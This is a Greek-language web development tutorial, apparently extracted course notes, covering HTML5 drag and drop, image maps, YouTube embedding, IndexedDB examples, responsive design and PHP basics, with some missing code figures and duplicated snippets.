Δημιουργείται, δηλαδή, μια συνάρτηση, η drag(event), η οποία προσδιορίζει ποια δεδομένα θα συρθούν. Στη συγκεκριμένη περίπτωση, ο τύπος δεδομένων είναι «text» και η τιμή των δεδομένων είναι το id του draggable element. Έπειτα, με το ondragover event προσδιορίζεται που ακριβώς μπορεί να αφεθεί το στοιχείο που έσυρε ο χρήστης. Από προεπιλογή, τα στοιχεία δε μπορούν να αφεθούν πάνω σε άλλα στοιχεία, οπότε καλείται η μέθοδος event.preventDefault() για αναίρεση της προκαθορισμένης (default) συμπεριφοράς. Στη συνέχεια, όταν το στοιχείο αφεθεί από το χρήστη, προκύπτει ένα drop event, καλείται η συνάρτηση drop(event) και παίρνει το στοιχείο που σύρθηκε με τη μέθοδο dataTransfer.getData(). Η μέθοδος αυτή επιστρέφει δεδομένα του ίδιου τύπου με αυτά της μεθόδου setData(). Τα δεδομένα που σύρθηκαν είναι το id του dragged element («drag1»). Τέλος,γίνεται προσάρτηση του dragged element στο drop element.

Οι Screen Readers

Μια απλή επεξήγηση μπορούμενα κάνουμε και για τους screen readers που αναφέρθηκαν παραπάνω. Οι screen readers ή αλλιώς «αναγνώστες οθόνης» είναι λογισμικό, προγράμματα δηλαδή που συνήθως χρησιμοποιούνται από χρήστες με ειδικές ανάγκες που πάσχουν συνήθως από τύφλωση, οπτική αστάθεια ή ακόμα δυσκολία στην ανάγνωση, γιατί πολύ απλά το λογισμικό αυτό παρέχει την δυνατότητα κατάλληλης μεγένθησης της σελίδας με στόχο την μεγαλύτερη ευκρίνεια. Επομένως καταλαβαίνουμε ότι οι screen readers στην ουσία «διαβάζουν» το περιεχόμενο που πρέπει να εμφανιστεί στην σελίδα μέσα από τον κώδικα και έπειτα το προβάλλουν με τις κατάλληλες ρυθμίσεις για τους χρήστες που το έχουν επιλέξει. Πολλές φορές όπως αναφέραμε παραπάνω στην ενότητα του attribute alt, μπορεί να προκαλλέσουν οι screen readers προβλήματα στην εμφάνιση ορισμένων εικόνων στην σελίδα, αυτό όμως δεν σημαίνει ότι σαν λογισμικό δεν μπορούν να «διαβάσουν» στον κώδικα το attribute alt και να το προβάλλουν στην σελίδα έναντι της προβληματικής εικόνας.

Στοίχιση εικόνας έναντι κειμένου (ιδιότητα float) Κατά την εισαγωγή της εικόνας εκτός από τις διαστάσεις της θα πρέπει να μας ενδιαφέρει και η στοίχιση της σε σχέση με το κείμενο της σελίδας, αν δηλαδή το κείμενο θα εμφανίζεται πάντα αριστερά ή δεξιά από την εικόνα. Για να το πετύχουμε αυτό χρησιμοποιούμε την ιδιότητα float στο attribute style παίρνοντας τιμές left για να στοιχιθεί το κείμενο στα δεξιά της εικόνας (άρα η εικόνα θα εμφανίζεται στο δεξιό μέρος της σελίδας) ή right για να στοιχιθεί στα αριστερά της εικόνας οπότε η εικόνα θα εμφανίζεται στο αριστερό μέρος της σελίδας. Η ιδιότητα float παρουσιάζεται στον παρακάτω κώδικα:

Εικονοχάρτες (image maps) Οι εικονοχάρτες όπως θα μπορούσαμε να μεταφράσουμε την φράση “image maps” είναι εικόνες που αποτελούνται από «ενεργές» περιοχές. Με τον όρο «ενεργές» εννοούμε ότι στις διαστάσεις μιας εικόνας υπάρχει μια περιοχή που έχουμε δώσει την δυνατότητα να παίρνει ένα τίτλο ή να μας εμφανίζει κάποιο κείμενο ή κάποια άλλη εικόνα, όταν κάνουμε κλικ με το δείκτη του ποντικιού πάνω σε αυτήν την περιοχή της εικόνας. Καταλαβαίνουμε οτί μια περιοχή σε μια εικόνα είναι clickable δηλαδή ενεργή όταν περνάει ο δείκτης του ποντικιού πάνω από την περιοχή αυτή και αμέσως από βέλος μετατρέπεται σε χεράκι. Για να δημιουργήσουμε μια ενεργή περιοχή πάνω σε μια εικόνα χρησιμοποιούμε το tag <map> το οποίο ταυτόχρονα συνδέεται με το attribute usemap του tag <img>. Παρακάτω παρουσιάζουμε την δημιουργία των ενεργών περιοχών μιας εικόνας μέσω ενός παραδείγματος με σκοπό να καταλάβουμε την σύνταξη του tag <map> και την λειτουργία του.

Ας αναλύσουμε τώρα τον παραπάνω κώδικα. Βλέπουμε πως με το tag <img> εισάγουμε μια εικόνα με διεύθυνση src="planets.gif", διαστάσεις style="width:145px;height:126px;" και τίτλο σε περίπτωση που δεν μπορέσει να εμφανιστεί η εικόνα τον εξής: alt="Planets". Παρατηρούμε όμως πως μέσα στο tag <img> υπάρχει ένα ακόμα attribute το usemap. Το usemap είναι το attribute που χρησιμοποιείται για να «καλέσει» το tag <map> που δημιουργεί τις ενεργές περιοχές στην εικόνα. Το tag <map> τώρα χρησιμοποιεί το attribute name με το οποίο στην ουσία δίνουμε ένα όνομα στο tag <map> το οποίο θα χρησιμοποιηθεί για το καλέσουμε με το usemap. Μέσα στο <map> για να δημιουργήσουμε τις ενεργές περιοχές χρησιμοποιούμε το tag <area> το οποίο χρησιμοποιεί τα εξής attributes: Το shape="rect" το οποίο ορίζει ότι η περιοχή της εικόνας που θα είναι ενεργή θα έχει ορθογώνιο σχήμα,

Το coords="0,0,82,126" με το οποίο δίνουμε τις συντεταγμένες της

ορθογώνιας ενεργής περιοχής στην εικόνα Το href="sun.htm" το οποίο είναι ένα link δηλαδή ένας υπερσύνδεσμος στον οποίο μεταβαίνουμε αν κάνουμε κλικ στην ενεργή περιοχή της εικόνας. Άρα σε μια πιο ελεύθερη ανάλυση του παραπάνω κώδικα έχουμε τα εξής: Εισάγουμε μια εικόνα με το tag <img>. Μέσα στο tag καλούμε με το usemap τον χάρτη των ενεργών περιοχών το tag <map> που έχει πάρει το όνομα «planetmap». Από την μεριά τώρα του χάρτη ορίζουμε σε κάποιες συντεταγμένες της εικόνας ορθογώνιες ή κυκλικές περιοχές στις οποίες όταν περνάει ο δείκτης του ποντικιού μετατρέπεται σε χεράκι και μας επιτρέπει να κάνουμε κλικ. Αν κάνουμε κλικ στις περιοχές αυτές μεταβαίνουμε μέσω των υπερσυνδέσμων href σε κάποιες σελίδες που έχουμε ορίσει εμείς και στις οποίες έχουμε

δώσει ένα τίτλο που θα εμφανίζεται στην θέση τους σε περίπτωση που δεν μπορούν για κάποιο λόγο να προβληθούν στην οθόνη.

Εισαγωγή video από Youtube Για να μην μπαίνουμε λοιπόν στην χρονοβόρα διαδικασία της μετατροπής των video μπορούμε να τα «ανεβάζουμε» (upload) στην ηλεκτρονική βιβλιοθήκη του youtube και από εκεί να τα ενσωματώσουμε στην σελίδα μας. Μια url διεύθυνση ενός video στο Youtube αποτελείται από ένα id δηλαδή ένα αναγνωριστικό όπως για παράδειγμα τον κωδικό που φαίνεται παρακάτω με κόκκινη γραμματοσειρά: «https://www.youtube.com/watch?v=9gTw2EDkaDQ» Το id αυτό είναι ένα πολύ σημαντικό στοιχείο κατά την διαδικασία της ενσωμάτωσης του video στη σελίδα. Για την ενσωμάτωση του video χρησιμοποιούμε το tag <iframe> του οποίου η σύνταξη είναι ως εξής: <iframe width="420" height="315" src="http://www.youtube.com/embed/XGSy3_Czz8k?autoplay=1"> </iframe> Το tag <iframe> δημιουργεί ένα πλαίσιο στην σελίδα μέσα στο οποίο μας δίνεται η δυνατότητα να ενσωματώσουμε τα πολυμέσα που θέλουμε και κυρίως τα video. Και το tag <iframe> χρησιμοποιεί τα attributes των διαστάσεων, το height δηλαδή του ύψους και το weight του πλάτους. Το σημαντικό όμως κομμάτι του <iframe> είναι η εισαγωγή της url διεύθυνσης του video μέσω του src. Για την εισαγωγή της διεύθυνσης κάνουμε αντιγραφή το url του video στο youtube και έπειτα μέσω της επικόλλησης το προσθέτουμε στο src με την διαφορά ότι στην θέση του τμήματος της διεύθυνσης «watch?v=» εισάγουμε τον όρο «embed/». Επίσης μετά το id του url χρησιμοποιούμε ένα ερωτηματικό το οποίο συνήθως ακολουθείται από τις παραμέτρους του Youtube όπως λέγονται για παράδειγμα το «autoplay=1» που φαίνεται και στον παραπάνω κώδικα. Μερικές από τις παραμέτρους του Youtube είναι οι εξής:

Το autohide που έχει να κάνει με την ορατότητα των κουμπιών του player μετά την έναρξη της αναπαραγωγής του video και μπορεί να πάρει τις τιμές: Τιμή 0: τα κουμπιά του player είναι πάντα ορατά αφού αρχίσει η αναπαραγωγή του video Τιμή 1: τα κουμπιά του player «κρύβονται» αυτόματα όταν το video ξεκινάει o Τιμή 2: (είναι και η προεπιλεγμένη τιμή) αν η κλίμακα διαστάσεων – ανάλυσης (ratio) του video είναι 16:9 τότε ισχύουν οι ρυθμίσεις της τιμής 1 δηλαδή τα κουμπία του player «κρύβονται» αυτόματα όταν το video ξεκινάει, στην περίπτωση όμως που το ratio είναι 4:3 τότε τα κουμπία είναι πάντα ορατά όπως ισχύει στην τιμή 0. Το autoplay που έχει να κάνει με την αυτόματη αναπαραγωγή του video κατά την φόρτωση της σελίδας και παίρνει τις τιμές: Τιμή 0: (είναι και η προεπιλεγμένη τιμή) το video δεν ξεκινάει αυτόματα όταν φορτώνει η σελίδα και χρειάζεται να πατήσουμε το κουμπί αναπαραγωγής Τιμή 1: το video ξεκινάει αυτόματα όταν φορτώνει η σελίδα Το controls που έχει να κάνει με την εμφάνιση των κουμπιών του player κατά την φόρτωση του και όχι κατά την αναπαραγωγή του video στην οποία χρησιμοποιούμε το autohide. Το controls παίρνει τις τιμές: Τιμή 0: τα κουμπιά του player δεν εμφανίζονται αλλά ο player φορτώνει απευθείας με την φόρτωση της σελίδας Τιμή 1: τα κουμπία του player εμφανίζονται και φορτώνονται απευθείας παράλληλα με τον player Τιμή 2: τα κουμπιά εμφανίζονται και φορτώνονται κανονικά αλλά ο player φορτώνει μετά από «απαίτηση» του χρήστη Το disablekb που έχει να κάνει με την σύνδεση των κουμπιών του player με τα κουμπιά του πληκτρολογίου, δηλαδή να μπορεί ο χρήστης να χειριστεί τοn player μέσω του πληκτρολογίου Τιμή 0: το πληκτρολόγιο δεν ανταποκρίνεται και είναι απενεργοποιημένο Τιμή 1: το πληκτρολόγιο είναι ενεργοποιημένο οπότε κάθε φορά που πατάμε τα παρακάτω πλήκτρα εκτελούνται και οι ανάλογες λειτουργίες στον player: Κουμπί spacebar : αναπαραγωγή / παύση του video Κουμπί δεξί βελάκι : το video προχωράει κατά 10% μπροστά στην αναπαραγωγή του

Κουμπί αριστερό βελάκι : το video πηγαίνει κατά 10% προς τα πίσω για την αναπαραγωγή του Κουμπί βελάκι προς τα πάνω : αυξάνει τηνν ένταση του ήχου Κουμπί βελάκι προς τα κάτω : μειώνει την ένταση του ήχου Το end το οποίο μετράει την διάρκεια του video από την αρχή μέχρι και το τέλος και εμφανίζει έναν θετικό πάντα αριθμό Το fs το οποίο δίνει την δυνατότητα να μπεί το video σε fullscreen όπως λέγεται δηλαδή οι διαστάσεις του video υπόκεινται σε μεγένθυση τόσο μεγάλη όσο και οι διαστάσεις τις οθόνης. Παίρνει τις τιμές 0 για απενεργοποιημένη την δυνατότητα fullscreen και την τιμή 1 για την ενεργοποίηση της δυνατότητας Το loop το οποίο δίνει την δυνατότητα της αυτόματης επανάληψης του video και παίρνει τις τιμές: Τιμή 0: (είναι και η προεπιλεγμένη) το video θα παίξει μια φορά και για να ξεκινήσει πάλι θα πρέπει χειροκίνητα ο χρήστης να επιλέξει την αρχή του video και να πατήσει αναπαραγωγή Τιμή 1: το video μπαίνει σε επανάληψη και κάθε φορά που τελείωνει ξεκινάει αυτόματα να ξαναπαίζει από την αρχή Το playlist που προσθέτει ένα σύνολο από συναφή videos που συγγενεύουν στην yrl διεύθυνση τους αφού συνήθως είναι videos που έχουν «ανέβει» στο Youtube από το κανάλι του ίδιου ιδιοκτήτη. Tip 1: Κάθε χρήστης του Youtube θα έχει προσέξει ότι τα video έχουν δικό τους σύνολο κουμπιών στον player παρόλο που τα video έχουν ενσωματωθεί και αυτά στην σελίδα μέσω του iframe. Αυτό συμβαίνει γιατί τα αρχικά κουμπιά του player που εισάγονται από την παράμετρο controls έχουν κρυφτεί μέσω της παραμέτρου autohide. Για να έχουμε πρόσβαση στα κουμπιά αυτά μπορούμε αν πατήσουμε διπλό δεξί κλίκ με το ποντίκι πάνω στο video να επιλέξουμε στην καρτέλα που εμφανίζεται την επιλογή «Show Controls» με την οποία θα εμφανιστούν τα αρχικά κουμπιά του player καθώς θα μας δωθεί και η δυνατότητα της επανάληψης του video στην καρτέλα που θα ανοίξει πατώντας την επιλογή «Loop». Tip 2: Ένα από τα βασικά προβλήματα που αντιμετωπίζει ένας σχεδιαστής και κατά συνέπεια ένας χρήστης της σελίδας είναι η αργή φόρτωση στην οποία υπόκεινται η σελίδα όταν έχουν ενσωματωθεί σε αυτήν πολλά video μέσω του iframe. για το πρόβλημα λοιπόν αυτό παραθέτουμε μια πολύ απλή λύση που στην πραγματικότητα κάνει μια πολύ σοβαρή

δουλειά. Αυτό που έχουμε να κάνουμε είναι να προσθέσουμε δύο γραμμές κώδικα όπως φαίνονται παρακάτω οι οποίες είναι υπεύθυνες για την εισαγωγή μιας βιβλιοθήκης javascript η οποία «διαβάζει» κατά κάποιον τρόπο τον Html κώδικα της σελίδας μας και όπου βρεί tag <iframe> απενεργοποιεί την άμεση εισαγωγή του video στην σελίδα. Ουσιαστικά μετατρέπει τα video σε πολυμέσα on-demand που σημείνει ότι αντικαθιστά τα video με σχετικά εικονίδια στην σελίδα στα οποία εμφανίζεται ένα κουμπί αναπαραγωγής και μόνο αν ο χρήστης πατήσει το κουμπί ο server ζητά σύνδεση με το youtube ώστε να αναπαράγει το video. Καταλαβαίνουμε λοιπόν ότι στην σελίδα δεν υπάρχουν οι άμεσες και μόνιμες συνδέσεις του server με το Youtube αλλά στην θέση τους εμφανίζονται τα έμμεσα και κατ’ απαίτηση του χρήστη, σχετιικά εικονίδια των video. Στην εικόνα παρουσιάζονται οι δύο γραμμές κώδικα που προσθέτουμε στον Html κώδικα της σελίδας καθώς και το οπτικό αποτέλεσμα τους

Η γραμμή του κώδικα «<script src="gplus-youtubeembed.js"></script>» προστίθεται ανάμεσα στο tag <head> γιατί είναι αυτό που συνδέει το αρχείο javascript με το αρχείο Html. Προσέχουμε πάντα ποιά διεύθυνση εισάγουμε ώστε ο browser να μην έχει προβλήματα εύρεσης του αρχείου. Αν δίνουμε σαν διεύθυνση μόνο το όνομα του αρχείου τότε προυποθέτει ότι το αρχείο με το οποίο θέλουμε να συνδεθούμε είναι στον ίδιο φάκελο με το αρχειο Html. Επίσης

η

γραμμή

του

κώδικα

«<script

type="text/javascript">optimizeYouTubeEmbeds()</script>» εισάγεται πριν το κλείσιμο του tag <body> και είναι υπέυθυνη για το «κάλεσμα» και την εκτέλεση της βιβλιοθήκης javascript.

Τέλος θα πρέπει να ξέρουμε ότι προηγουμένως θα πρέπει να έχουμε «κατεβάσει» στον υπολογιστή μας την βιβλιοθήκη javascript που απαιτείται για τον κώδικα.

HTML5 - Web Workers <!DOCTYPE HTML> <html> <head> <title>Big for loop</title> <script> function bigLoop() {

for (var i = 0; i <= 10000; i += 1) { var j = i; } alert("Completed " + j + "iterations" ); } function sayHello(){ alert("Hello sir...." ); } </script> </head>

<body> <input type = "button" onclick = "bigLoop();" value = "Big Loop" /> <input type = "button" onclick = "sayHello();" value = "Say Hello" />

</body> </html>

HTML5 – IndexedDB window.indexedDB

=

window.indexedDB

||

window.mozIndexedDB

window.webkitIndexedDB || window.msIndexedDB;

window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction; window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange

if (!window.indexedDB) { window.alert("Your browser doesn't support a stable version of IndexedDB.") } const employeeData = [

||

{ id: "01", name: "Gopal K Varma", age: 35, email: "contact@tutorialspoint.com" }, { id: "02", name: "Prasad", age: 24, email: "prasad@tutorialspoint.com" } ] function add() { var request = db.transaction(["employee"], "readwrite") .objectStore("employee") .add({ id: "01", name: "prasad", age: 24, email: "prasad@tutorialspoint.com" });

request.onsuccess = function(event) { alert("Prasad has been added to your database."); };

request.onerror = function(event) { alert("Unable to add data\r\nPrasad is already exist in your database! "); } } function read() { var transaction = db.transaction(["employee"]); var objectStore = transaction.objectStore("employee"); var request = objectStore.get("00-03");

request.onerror = function(event) { alert("Unable to retrieve daa from database!"); };

request.onsuccess = function(event) {

if(request.result) { alert("Name: " + request.result.name + ", Age: " + request.result.age + ", Email: " + request.result.email); } else { alert("Kenny couldn't be found in your database!"); } }; } function readAll() { var objectStore = db.transaction("employee").objectStore("employee");

objectStore.openCursor().onsuccess = function(event) { var cursor = event.target.result;

if (cursor) { alert("Name for id " + cursor.key + " is " + cursor.value.name + ", Age: " + cursor.value.age + ", Email: " + cursor.value.email); cursor.continue(); } else { alert("No more entries!"); } }; }

function readAll() { var objectStore = db.transaction("employee").objectStore("employee");

objectStore.openCursor().onsuccess = function(event) { var cursor = event.target.result;

if (cursor) { alert("Name for id " + cursor.key + " is " + cursor.value.name + ", Age: " + cursor.value.age + ", Email: " + cursor.value.email); cursor.continue(); } else { alert("No more entries!"); } }; } <!DOCTYPE html>

<html> <head> <meta http-equiv = "Content-Type" content = "text/html; charset = utf-8" /> <title>IndexedDb Demo | onlyWebPro.com</title> </head>

<body> <button onclick = "read()">Read </button>

<button onclick = "readAll()"></button> <button onclick = "add()"></button> <button onclick = "remove()">Delete </button> </body> </html> <!DOCTYPE html>

<html> <head> <meta http-equiv = "Content-Type" content = "text/html; charset = utf-8" /> <script type = "text/javascript">

//prefixes of implementation that we want to test window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;

//prefixes of window.IDB objects window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction; window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange

if (!window.indexedDB) { window.alert("Your browser doesn't support a stable version of IndexedDB.") }

const employeeData = [ { id: "00-01", name: "gopal", age: 35, email: "gopal@tutorialspoint.com" }, { id: "00-02", name: "prasad", age: 32, email: "prasad@tutorialspoint.com" } ]; var db; var request = window.indexedDB.open("newDatabase", 1);

request.onerror = function(event) { console.log("error: "); };

request.onsuccess = function(event) { db = request.result; console.log("success: "+ db); };

request.onupgradeneeded = function(event) { var db = event.target.result; var objectStore = db.createObjectStore("employee", {keyPath: "id"});

for (var i in employeeData) { objectStore.add(employeeData[i]); } }

function read() { var transaction = db.transaction(["employee"]); var objectStore = transaction.objectStore("employee"); var request = objectStore.get("00-03");

request.onerror = function(event) { alert("Unable to retrieve daa from database!"); };

request.onsuccess = function(event) { // Do something with the request.result! if(request.result) { alert("Name: " + request.result.name + ", Age: " + request.result.age + ", Email: " + request.result.email); } else { alert("Kenny couldn't be found in your database!"); } }; }

function readAll() { var objectStore = db.transaction("employee").objectStore("employee");

objectStore.openCursor().onsuccess = function(event) {

var cursor = event.target.result;

if (cursor) { alert("Name for id " + cursor.key + " is " + cursor.value.name + ", Age: " + cursor.value.age + ", Email: " + cursor.value.email); cursor.continue(); } else { alert("No more entries!"); } }; }

function add() { var request = db.transaction(["employee"], "readwrite") .objectStore("employee") .add({ id: "00-03", name: "Kenny", age: 19, email: "kenny@planet.org" });

request.onsuccess = function(event) { alert("Kenny has been added to your database."); };

request.onerror = function(event) { alert("Unable to add data\r\nKenny is aready exist in your database! "); } }

function remove() { var request = db.transaction(["employee"], "readwrite") .objectStore("employee") .delete("00-03");

request.onsuccess = function(event) { alert("Kenny's entry has been removed from your database."); }; } </script>

</head> <body> <button onclick = "read()">Read </button> <button onclick = "readAll()">Read all </button> <button onclick = "add()">Add data </button> < button onclick = "remove()">Delete data </button> </body> </html> Εκπαιδευτική ενότητα 2.2 HTML Responsive Web Design 2.2.1

Γενικά Στοιχεία

Ο responsive σχεδιασμός ιστού αφορά τη δημιουργία ιστοσελίδων που φαίνονται καλά σε όλες τις συσκευές!

Ένας responsive σχεδιασμός ιστού θα προσαρμόζεται αυτόματα για διαφορετικά μεγέθη οθόνης και παράθυρα προβολής.

Τι είναι το Responsive Web Design; Η Responsive Web Design αφορά τη χρήση της HTML και του CSS για την αυτόματη αλλαγή μεγέθους, απόκρυψη, συρρίκνωση ή μεγέθυνση ενός ιστότοπου, ώστε να φαίνεται καλά σε όλες τις συσκευές (επιτραπέζιους υπολογιστές, ταμπλέτες και τηλέφωνα): ΑΚΟΛΟΥΘΕΙ ΠΑΡΑΔΕΙΓΜΑ

Ο ΚΩΔΙΚΑΣ

Ρύθμιση του παραθύρου προβολής Για να δημιουργήσετε έναν ιστότοπο που ανταποκρίνεται, προσθέστε την ακόλουθη ετικέτα <meta> σε όλες τις ιστοσελίδες σας:

Ανταποκρινόμενες εικόνες Οι εικόνες που ανταποκρίνονται είναι εικόνες που κλιμακώνονται όμορφα για να ταιριάζουν σε οποιοδήποτε μέγεθος προγράμματος περιήγησης.

Χρησιμοποιώντας την ιδιότητα width Εάν η ιδιότητα πλάτους CSS έχει οριστεί στο 100%, η εικόνα θα ανταποκρίνεται και θα κλιμακώνεται προς τα πάνω και προς τα κάτω:

Παρατηρήστε ότι στο παραπάνω παράδειγμα, η εικόνα μπορεί να μεγεθυνθεί ώστε να είναι μεγαλύτερη από το αρχικό της μέγεθος. Μια καλύτερη λύση, σε πολλές περιπτώσεις, θα είναι να χρησιμοποιήσετε την ιδιότητα max-width.

Χρήση της ιδιότητας max-width Εάν η ιδιότητα max-width έχει οριστεί στο 100%, η εικόνα θα μικραίνει αν χρειαστεί, αλλά ποτέ δεν θα μεγαλώνει ώστε να είναι μεγαλύτερη από το αρχικό της μέγεθος:

Εμφάνιση διαφορετικών εικόνων ανάλογα με το πλάτος του προγράμματος περιήγησης Το στοιχείο HTML <picture> σας επιτρέπει να ορίσετε διαφορετικές εικόνες για διαφορετικά μεγέθη παραθύρων του προγράμματος περιήγησης.

Αλλάξτε το μέγεθος του παραθύρου του προγράμματος περιήγησης για να δείτε πώς αλλάζει η παρακάτω εικόνα ανάλογα με το πλάτος: Παράδειγμα

Ο ΚΩΔΙΚΑΣ

Ανταποκρινόμενο μέγεθος κειμένου Το μέγεθος του κειμένου μπορεί να ρυθμιστεί με τη μονάδα "vw", που σημαίνει το "πλάτος του παραθύρου προβολής".

Με αυτόν τον τρόπο το μέγεθος του κειμένου θα ακολουθεί το μέγεθος του παραθύρου του προγράμματος περιήγησης:

ΠΑΡΑΔΕΙΓΜΑ

Ερωτήσεις μέσων ενημέρωσης

Εκτός από την αλλαγή μεγέθους κειμένου και εικόνων, είναι επίσης συνηθισμένη η χρήση ερωτημάτων πολυμέσων σε responsive ιστοσελίδες.

Με τα ερωτήματα πολυμέσων μπορείτε να ορίσετε εντελώς διαφορετικά στυλ για διαφορετικά μεγέθη προγραμμάτων περιήγησης.

Παράδειγμα: Αλλάξτε το μέγεθος του παραθύρου του προγράμματος περιήγησης για να δείτε ότι τα τρία παρακάτω στοιχεία div θα εμφανίζονται οριζόντια σε μεγάλες οθόνες και στοιβαγμένα κάθετα σε μικρές οθόνες:

ΑΚΟΛΟΥΘΕΙ Ο ΚΩΔΙΚΑΣ

ΠΛΗΡΕΣ ΠΑΡΑΔΕΙΓΜΑ

Μια responsive ιστοσελίδα πρέπει να φαίνεται καλά σε μεγάλες οθόνες γραφείου και σε μικρά κινητά τηλέφωνα.

Bootstrap Ένα άλλο δημοφιλές πλαίσιο CSS είναι το Bootstrap. Το Bootstrap χρησιμοποιεί HTML, CSS και jQuery για να φτιάχνει ιστοσελίδες που ανταποκρίνονται.

Css templates 1 ΠΑΡΑΔΕΙΓΜΑ

ΠΑΡΑΔΕΙΓΜΑ

Εκπαιδευτική Υποενότητα 4.4 Η Γλώσσα Προγραμματισμού PHP H PHP είναι μια από τις πλέον διαδεομένες scripting γλώσσες στον Παγκόσμιο Ιστό. Μπορεί να χρησιμοποιηθεί για τη δημιουργία ιστοσελίδων πρόσβασης σε έναν ιστότοπο (login, sign-in), για λήψη πληροφοριών από φόρμες, δημιουργία αλληλεπιδρα-στικών και συνεργατικών εφαρμογών, όπως forum, παρουσίαση πληροφοριών από βάσεις δεδομένων και πολλές ακόμη λειτουργίες. Ο κώδικας PHP εκτελείται από την πλευρά του εξυπηρετητή και δημιουργεί κώδικα HTML που παρουσιάζεται στον επισκέπτη μιας ιστοσελίδας. Προαπαιτούμενες γνώσεις Για την ευκολότερη κατανόηση των εννοιών που παρουσιάζονται σε αυτό το κεφάλαιο θα πρέπει να έχετε βασική γνώση των παρακάτω: •

HTML.

•

CSS (προαιρετικά).

•

JavaScript (προαιρετικά).

Βασική Σύνταξη PHP

Ένα πρόγραμμα (script) PHP εκτελείται στον server και η HTML που δημιουργείται αποστέλλεται στον browser. Ένα script της PHP πάντα ξεκινά (ανοίγει) με <?php και κλείνει με ?> εναλλακτικά ένα script μπορεί να ανοίγει με <? και να τελειώνει (κλείνει) με ?>. Το πιο κλασικό παράδειγμα σε οποιαδήποτε γλώσσα είναι η εμφάνιση της φράσης «Hello World» στην οθόνη του υπολογιστή. Ας ξεκινήσουμε λοιπόν με αυτό!

Για την εμφάνιση του μηνύματος θα χρησιμοποιηθεί η εντολή echo. Το τέλος κάθε εντολής σε PHP υποδηλώνεται με το σύμβολο «;» (semicolon). Στην PHP όλες οι λέξεις κλειδιά (δεσμευμένες λέξεις) με τις οποίες συνάσσουμε τις εντολές του προγράμματος, δεν διαφέρουν για πεζούς ή κεφαλαίους χαρακτήρες, άρα η εντολή echo και η εντολή ECHO είναι ισοδύναμες. Σχόλια Ένα σχόλιο στην PHP είναι μια ή πολλές γραμμές που δεν εκτελούνται σαν μέρος του script. Ο μοναδικός σκοπός τους είναι για να διαβαστούν από κάποιον που διαβάζει τον κώδικα ώστε να καταλάβει ποιος είναι ο σκοπός του ή για να δρα ως υπενθύμιση όταν γράφετε το συγκεκριμένο κομμάτι κώδικα και ποια είναι η λειτουργία του.

Στο παραπάνω παράδειγμα κώδικα παρουσιάζονται διάφοροι τρόποι εισαγωγής σχολίων σε ένα script της PHP. Μεταβλητές και σταθερές Για τη δημιουργία πιο σύνθετου κώδικα χρειάζεται ένας τρόπος λήψης και αποθήκευσης τιμών. Αυτό μπορεί να γίνει με την χρήση μεταβλητών. Μια μεταβλητή της PHP μπορεί να περιέχει μια συμβολοσειρά (string) ή έναν αριθμό. Μια μεταβλητή πάντα ξεκινάει με το χαρακτήρα «$» και ακολουθείται από το όνομα της μεταβλητής. Το όνομα μιας μεταβλητής πάντα ξεκινάει με ένα γράμμα ή το χαρακτήρα «_»(underscore/κάτω παύλα). Το όνομα μιας μεταβλητής δεν μπορεί να ξεκινάει με αριθμό.

Μια μεταβλητή μπορεί να περιέχει στο όνομα της μόνο αλφαριθμητικούς χαρακτήρες και κάτω παύλες (underscores). Το όνομα μιας μεταβλητής περιέχει διάκριση πεζών-κεφαλαίων, δηλαδή η μεταβλητή $car είναι διαφορετική από τη μεταβλητή $CaR. Δεν χρειάζεται να δηλώσουμε μια μεταβλητή στην αρχή του script. Η δημιουργία και ο τύπος της γίνεται την ώρα της κλήσης της στον κώδικα Οι μεταβλητές στην PHP μπορούν να αποθηκεύσουν διαφορετικούς τύπους τιμών. Παρακάτω παρουσιάζονται οι τύποι δεδομένων που υποστηρίζονται από την PHP. String. Integer. Float (floating point numbers - also called double). Boolean. Array. Object. NULL. Resource. Για τις πράξεις μεταξύ μεταβλητών (αριθμητικών ή τύπου string) χρησιμοποιούμε τελεστές. Η PHP χωρίζει τους τελεστές στις παρακάτω κατηγορίες. Αριθμητικοί τελεστές Τελεστές Ανάθεσης Τελεστές Σύγκρισης Τελεστές Αύξησης/Μείωσης Τελεστές Λογικής Τελεστές Αλφαριθμητικών Τελεστές Πινάκων

Κανονικά όταν μια συνάρτηση έχει εκτελεστεί οι τοπικές μεταβλητές διαγράφονται. Υπάρχουν περιπτώσεις όμως που δεν είναι επιθυμητό μια μεταβλητή να διαγραφεί, τότε χρησιμοποιείται η λέξη κλειδί static. Στο παράδειγμα της διαφάνειας παρουσιάζεται η χρήση της λέξης κλειδί static Οι σταθερές λειτουργούν παρόμοια με τις μεταβλητές με τη διαφορά ότι δεν μπορούν να αλλάξουν τιμή κατά την εκτέλεση του php script. Έτσι, μπορούμε να πούμε ότι μια σταθερά είναι ένα αναγνωριστικό για μια συγκεκριμένη τιμή. Οι σταθερές έχουν αυτόματα καθολική εμβέλεια από τη στιγμή που δημιουργούνται. Για τη δημιουργία μιας σταθεράς χρησιμοποιείται η συνάρτηση define() με την σύνταξη που φαίνεται στην διαφάνεια. Όπου name το όνομα της σταθεράς, value η τιμή που μπορεί να είναι αριθμός ή και ένα string και τέλος η παράμετρος case-insensitive με προεπιλεγμένη τιμή false επιτρέπει σε μια σταθερά να έχει όνομα που δεν περιέχει διάκριση πεζών-κεφαλαίων

παράδειγμα δημιουργίας μιας σταθεράς τύπου string με όνομα «welcome» που περιέχει την πρόταση «welcome to PHP 101»

